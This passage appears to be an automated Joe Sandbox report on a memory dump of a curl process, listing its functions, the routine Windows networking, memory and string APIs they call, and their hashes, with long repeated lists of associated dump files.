Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: COLUMNS
API String ID: 237503144-2475376301
Opcode ID: 6800c1df658c75d609196fa10383f1bc073ff2cd6721f22002b24cb3cedafa9e
Instruction ID: a33837dee9ca725413ae96d354e3e3bebf6d9c6348741f13fda5f32658ae0c91
Opcode Fuzzy Hash: 6800c1df658c75d609196fa10383f1bc073ff2cd6721f22002b24cb3cedafa9e
Instruction Fuzzy Hash: 4F3193719043428FD325DF24D885BA6B7E8EFA9300F144A2EE88982252E775DD49CFD2

Function 002C34E6 Relevance: 3.1, APIs: 2, Instructions: 61threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,0000000C,Function_00103646,00000000,00000000,001DF1F2), ref: 002C3554
GetLastError.KERNEL32 ref: 002C355E

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CreateErrorLastThread
String ID:
API String ID: 1689873465-0
Opcode ID: 54366ea87b37c8d9439bded496bc2879308014a55219d34f8079e77a1e6785f2
Instruction ID: e93e0ab317602f740a8cb01cf42ad40d1d538d8ca17ecadd61105e065dbfe9cc
Opcode Fuzzy Hash: 54366ea87b37c8d9439bded496bc2879308014a55219d34f8079e77a1e6785f2
Instruction Fuzzy Hash: C9112B72525B066FDB20EF68EC45F9B7BA8EF457B0B10861DFD04C6151DB31D9218B60

Function 001D0E80 Relevance: 3.0, APIs: 2, Instructions: 41networkCOMMON

Download Yara Rule

APIs

WSACleanup.WS2_32 ref: 001D0EF1
FreeLibrary.KERNELBASE(00000000), ref: 001D0F01

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CleanupFreeLibrary
String ID:
API String ID: 470324515-0
Opcode ID: 40725f82d706f90cb452e765e34cee7ad3e4ae62f7797b24bda252b131881008
Instruction ID: 0bcd512b8f5f9ddd805de84f1ece7ff68b0d5ed246a72d664b9f5d10cd96dea3
Opcode Fuzzy Hash: 40725f82d706f90cb452e765e34cee7ad3e4ae62f7797b24bda252b131881008
Instruction Fuzzy Hash: 22011AB06056418BE763DF2AEC593563BDCA71E348F44CA1AD940823B1EFF49905CB62

Function 001D0D80 Relevance: 3.0, APIs: 2, Instructions: 34networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,7F6B3500), ref: 001D0DA3
WSACleanup.WS2_32 ref: 001D0DD2

Part of subcall function 001E1CE0: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 001E1D3F
Part of subcall function 001E1CE0: VerSetConditionMask.KERNEL32(00000000,00000000,00000008,00000001), ref: 001E1D4D
Part of subcall function 001E1CE0: VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 001E1D64
Part of subcall function 001E1CE0: VerifyVersionInfoA.KERNEL32(?,00000008,00000000,?), ref: 001E1D76
Part of subcall function 001E1CE0: LoadLibraryA.KERNELBASE(secur32.dll), ref: 001E1D88

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersion$CleanupLibraryLoadStartup
String ID:
API String ID: 1807246684-0
Opcode ID: 8c54601505fa9ff8412df4a997dec515f4645ef8c743884aa2eb3b053036f936
Instruction ID: f639c15dad70547b2f8ff854775986cacf3580113854d5f815da5fbd943f31bc
Opcode Fuzzy Hash: 8c54601505fa9ff8412df4a997dec515f4645ef8c743884aa2eb3b053036f936
Instruction Fuzzy Hash: 60F054306556484BD730BBA89C5BBBE739DDB55314F80061BE89AD7282EB30A811CB93

Function 002D7042 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

CompareStringEx.KERNELBASE(00000000,00D51038,00000000,?,?,002D8621,00000000,00000000,00000000,?,002D8621,?,?,00000000,00D51038,00000000), ref: 002D7069
CompareStringW.KERNEL32(00000000,00D51038,00000000,?,?,002D8621,?,002D8621,?,?,00000000,00D51038,00000000,00000000,?,002D869B), ref: 002D7086

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 6ff4b713e36c6b587de3f3fbfd92c155bda8ca05064eb4dbc1a77ca23c0a5284
Instruction ID: 6b119f80dce7daed20205e147be93a6d928693a4309aa8bd431358f9c51f7f29
Opcode Fuzzy Hash: 6ff4b713e36c6b587de3f3fbfd92c155bda8ca05064eb4dbc1a77ca23c0a5284
Instruction Fuzzy Hash: 3CF07F3201010EBFDF069F90EC0ACEA3F6AFB08350F008106FA1845131E776E971ABA0

Function 002089D0 Relevance: 3.0, APIs: 2, Instructions: 23networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 002089E1
closesocket.WS2_32(00000000), ref: 00208A07

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: 9240d065a1c92fd710a00660a8bb0f4f31786622c50f27e492daf8da03d297a0
Instruction ID: 0d7673e2dc06fc6650418d1f6aa217cec985e2b8a9a8e2abd821e5e222ba743d
Opcode Fuzzy Hash: 9240d065a1c92fd710a00660a8bb0f4f31786622c50f27e492daf8da03d297a0
Instruction Fuzzy Hash: 10E01230A0260157DB1DDB34AD197A9765A9B09360F10C319A517D51F1CB60C8019E11

Function 002BE832 Relevance: 3.0, APIs: 2, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,002C5D32,00000000,002DA609,00000001,00000000), ref: 002BE846
GetLastError.KERNEL32(00000000,?,002C5D32,00000000,002DA609,00000001,00000000), ref: 002BE858

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 7fecd9de61ab1dd95af9dad7d64dd8a71da454a5809821cacf790b68dc49dc14
Instruction ID: caf7ec07938280c23d53a42410bf7b1d6bc7628bbf60b6a495707687fcbec365
Opcode Fuzzy Hash: 7fecd9de61ab1dd95af9dad7d64dd8a71da454a5809821cacf790b68dc49dc14
Instruction Fuzzy Hash: FCE08C71440A05AADF112FB5FC0CBD83BACEB10382F118029F50889060D6708860CB94

Function 002CC0BD Relevance: 2.6, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,001C5539,00000000,?,002CF88C,001C5539,?,?,?,?,?,?,?,001C5539,00000000,00000109), ref: 002CC10D
GetLastError.KERNEL32(?,002CF88C,001C5539,?,?,?,?,?,?,?,001C5539,00000000,00000109), ref: 002CC117

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ef402365d7681604a3148aee8ae390e89bf4cd017227c76250259f634c7d382f
Instruction ID: e1e87bd3b349bab4064b78076b75bb5d4152d7257feabe1037f70603ed6b761a
Opcode Fuzzy Hash: ef402365d7681604a3148aee8ae390e89bf4cd017227c76250259f634c7d382f
Instruction Fuzzy Hash: A9014432A3916156C6249AB9A889F6D2B485B82B78F39030DE91CC72C3DAB18C6045D0

Function 002C6FD1 Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

APIs

Part of subcall function 002D65B9: IsValidCodePage.KERNEL32(00000000,?,?,00000055,?,?,002C7125,?,?,?,?,00000004,?,00000000), ref: 002D6697

GetACP.KERNEL32(?,?,?,?,?,00000004,?,00000000), ref: 002C71B7

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CodePageValid
String ID:
API String ID: 1911128615-0
Opcode ID: 4dc8888e0f104a2efce07be8926ec052286a2a0ecfc8bf4d91c25ff0e5ce2577
Instruction ID: 0a13d4777f850b3a6cd0a36d7962988dd3d44898285c6f0d34ba2ef8b5340c77
Opcode Fuzzy Hash: 4dc8888e0f104a2efce07be8926ec052286a2a0ecfc8bf4d91c25ff0e5ce2577
Instruction Fuzzy Hash: 3871A1719242565BEB21AF21CC41FEF77BDEF55310F0401AAFD09A6241EA709E60CFA1

Function 002C259D Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32(00307AE0,00000014), ref: 002C2635

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: ff39015fe998f0be4ace9e22d9c0b38a79dc8e41f7d4d141912ae11f033cd113
Instruction ID: 997bd16df447e9b4a54be852e62695c724581fc9a43d2861d967202524f8a104
Opcode Fuzzy Hash: ff39015fe998f0be4ace9e22d9c0b38a79dc8e41f7d4d141912ae11f033cd113
Instruction Fuzzy Hash: 92213770A34701CADB11BBB89C56F2A32586B10384F61432DF505C61D3EFF0C8B49E65

Function 001DE580 Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 001DE617

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: 0f73ca7de64534dc6d0e863cb0148302622e17dba67591d4297057b40a2af48a
Instruction ID: 16046ba42a3b403b2a163cf76dbd35f8523d038664aa5c6fd3f62b24f9655730
Opcode Fuzzy Hash: 0f73ca7de64534dc6d0e863cb0148302622e17dba67591d4297057b40a2af48a
Instruction Fuzzy Hash: 4A214975A00200DFDB20EF29CC81B9AB7E5FF58311F14892AE99ACB291E731E854CB51

Function 002BFD90 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00D40000,00000000,00000001,00000001,?,?,?,002DA609,00000001,00000000), ref: 002BFDD3

Part of subcall function 002CB574: GetModuleFileNameW.KERNEL32(00000000,00367972,00000104,?,00000001,00000000), ref: 002CB606

Part of subcall function 002C412C: ExitProcess.KERNEL32 ref: 002C413B

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
